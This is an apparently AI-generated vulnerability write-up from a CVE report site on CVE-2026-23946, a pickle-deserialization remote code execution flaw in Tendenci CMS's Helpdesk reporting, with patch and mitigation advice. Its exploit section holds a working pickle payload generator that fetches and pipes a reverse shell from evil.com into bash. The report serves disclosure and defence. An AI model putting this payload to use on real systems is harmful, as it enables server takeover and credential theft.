CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23946

CVE-2026-23946: The Zombie Pickle in Tendenci's Helpdesk

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·6 min read·27 visits

Executive Summary (TL;DR)

Authenticated RCE in Tendenci CMS versions prior to 15.3.12. The Helpdesk module's `run_report` function unsafe deserializes data using Python's `pickle`. Attackers with Staff privileges can execute arbitrary code by crafting a malicious saved query.

A classic case of 'patch it once, break it twice.' Tendenci CMS suffers from a critical authenticated Remote Code Execution (RCE) vulnerability due to an incomplete fix for a 2020 issue. The Helpdesk module—specifically the reporting functionality—continued to use Python's notorious `pickle` module for deserializing user-supplied data, allowing staff-level users to execute arbitrary commands on the server.

The Hook: Pickles That Bite Back

If you've been in the Python security game for more than five minutes, you know the rule: Never trust a pickle. It is the golden rule of Python development, right up there with 'don't commit your AWS keys to GitHub.' Yet, here we are in 2026, looking at CVE-2026-23946, a vulnerability in Tendenci CMS that is essentially a zombie rising from the grave of CVE-2020-14942.

Tendenci is an open-source CMS built for non-profits. It's robust, feature-rich, and like many legacy Django applications, it has some skeletons in its closet. The specific skeleton here is the Helpdesk module. Back in 2020, security researchers pointed out that Tendenci was using pickle to store and retrieve search queries. The developers patched it... mostly. They fixed the ticket_list view, swapping unsafe pickle deserialization for JSON. Everyone clapped, the ticket was closed, and the world moved on.

But they missed a spot. Deep in the run_report function, the pickle logic remained, lurking like a landmine waiting for someone to step on it. This isn't just a bug; it's a lesson in the dangers of 'spot-fixing' vulnerabilities rather than eradicating the root cause (the use of pickle itself) from the entire codebase.

The Flaw: Why Pickle is Poison

To understand why this is critical, you have to understand how Python's pickle module works. Unlike JSON, which is a data interchange format (text), pickle is a binary serialization protocol that is capable of serializing arbitrary Python objects. It doesn't just save data; it saves instructions on how to reconstruct that data.

The flaw lies in the __reduce__ method. When Python unpickles an object, if that object defines __reduce__, the unpickler will execute whatever callable (function) is returned by that method. This was designed for convenience—so complex objects could tell Python how to rebuild themselves. Hackers, being the opportunistic pragmatists they are, realized they could tell Python to 'rebuild' an object by running os.system('sh').

In Tendenci's case, the application takes a base64-encoded string from the database (a saved query), decodes it, and passes it directly to pickle.loads(). There is no signature verification, no sandboxing, and no mercy. If you can write to that database field, you own the server.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability resides in tendenci/apps/helpdesk/views/staff.py. Before version 15.3.12, the code looked something like this:

# The Vulnerable Logic
def run_report(request, report_id):
    # ... retrieval logic ...
    if saved_query:
        # HERE IS THE DRAGON
        query_params = pickle.loads(b64decode(saved_query.query))
        # ... application logic ...

It is elegant in its simplicity and devastating in its insecurity. The saved_query.query is controlled by the user. The fix involved ripping out pickle entirely and replacing it with standard JSON handling, which treats data as data, not code.

# The Fix (simplified)
import simplejson as json
 
# ... inside the view ...
    try:
        # Sanity prevails
        query_params = json.loads(b64decode(saved_query.query))
    except (ValueError, TypeError):
        # Handle legacy or bad data gracefully
        query_params = {}

The patch didn't just change the deserializer; they also updated the input forms (SavedSearchForm) to ensure that new data coming in is strictly validated JSON, effectively closing the loop.

The Exploit: Crafting the Payload

So, how do we exploit this? Since this is an authenticated vulnerability, we first need a user with 'Staff' permissions. This limits the blast radius, but insider threats or compromised staff accounts make this a very real vector.

The attack chain is straightforward:

  1. Authenticate to the Tendenci dashboard.
  2. Navigate to the Helpdesk reporting section.
  3. Inject a malicious query object.

A standard Python pickle exploit generator looks like this:

import pickle
import base64
import os
 
class Payload(object):
    def __reduce__(self):
        # The command to execute on the server
        cmd = ('curl https://evil.com/revshell | bash')
        return (os.system, (cmd,))
 
payload = base64.b64encode(pickle.dumps(Payload()))
print(f"Inject this: {payload.decode()}")

The attacker saves a new 'Search Query' in the Helpdesk module. Instead of a valid search filter, they intercept the request and replace the query parameter with the base64 string generated above. When the attacker (or an unsuspecting admin) clicks 'Run Report' on that saved query, the server deserializes the blob, sees the os.system instruction, and executes the reverse shell.

The Impact: Why You Should Care

You might argue, 'But you need Staff permissions!' True. But in the world of CMS, 'Staff' is often not 'System Administrator.' Staff might be a content editor, a volunteer, or a marketing intern. They should not have the ability to execute shell commands on the web server.

Successful exploitation leads to Remote Code Execution (RCE). The code runs with the privileges of the web application user (usually www-data or nginx). From there, the attacker can:

  • Read the settings.py file to steal database credentials and secret keys.
  • Dump the entire user database (PII, emails, hashes).
  • Pivot to other internal systems if the server is in a DMZ.
  • Install a cryptominer, because why not?

This turns a low-privilege compromise into a total infrastructure takeover.

The Fix: Kill the Pickle

The remediation is simple: Update to Tendenci v15.3.12 immediately. The developers have scrubbed the pickle imports from the Helpdesk module and replaced them with simplejson.

If you cannot update immediately, you have two options:

  1. Disable the Helpdesk Module: This module is not enabled by default. Go to your settings.py or site configuration and ensure tendenci.apps.helpdesk is not in your INSTALLED_APPS.
  2. WAF Rules: Implement a WAF rule that blocks POST requests containing base64 strings that decode to pickle headers (look for gASV or the pickle opcode . combined with global). However, blocking serialized data via WAF is cat-and-mouse; patching is the only real fix.

> [!NOTE] > If you are a developer, let this be a lesson: If you are using pickle, Marshal, or Java Object Serialization on user input, you are wrong. Stop it. Use JSON.

Official Patches

TendenciOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.19%
Top 100% most exploited

Affected Systems

Tendenci CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Tendenci
Tendenci
< 15.3.1215.3.12
AttributeDetail
CWECWE-502 (Deserialization of Untrusted Data)
CVSS v3.16.8 (Medium)
Attack VectorNetwork (Authenticated)
PrivilegesHigh (Staff)
ImpactRemote Code Execution (RCE)
StatusPatched in v15.3.12

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
T1562Impair Defenses
Defense Evasion
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

Manual AnalysisExploit derived from patch diff showing removal of pickle.loads

Vulnerability Timeline

Patch committed by Jenny Qian
2026-01-16
Version 15.3.12 released
2026-01-18
CVE Published
2026-01-22

References & Sources

  • [1]Fix Commit on GitHub
  • [2]NVD Entry
Related Vulnerabilities
CVE-2020-14942

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
8 views•6 min read
•2 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
3 views•4 min read
•2 days ago•CVE-2026-47760
8.7

CVE-2026-47760: Cross-Site Scripting (XSS) via SVG Namespace Sanitizer Bypass in TinyMCE

TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.

Alon Barad
Alon Barad
14 views•7 min read
•2 days ago•CVE-2026-47759
8.7

CVE-2026-47759: Stored Cross-Site Scripting (XSS) via Unsanitized data-mce-* Serialization Bypass in TinyMCE

CVE-2026-47759 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting multiple active branches of the TinyMCE rich text editor. The flaw resides in the editor's handling of user-controlled, prefixed internal attributes, such as data-mce-href, data-mce-src, and data-mce-style. When processing raw HTML inputs, TinyMCE's internal validation schema neglects to inspect these custom prefixed attributes. During HTML serialization, the editor's engine extracts these unsanitized values and copies them back into standard executable attributes, overwriting any previously sanitized standard values and leading to execution of arbitrary code.

Amit Schendel
Amit Schendel
9 views•7 min read
•2 days ago•CVE-2026-47762
8.7

CVE-2026-47762: Stored Cross-Site Scripting (XSS) in TinyMCE Protect Pattern Restoration

A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.

Amit Schendel
Amit Schendel
7 views•8 min read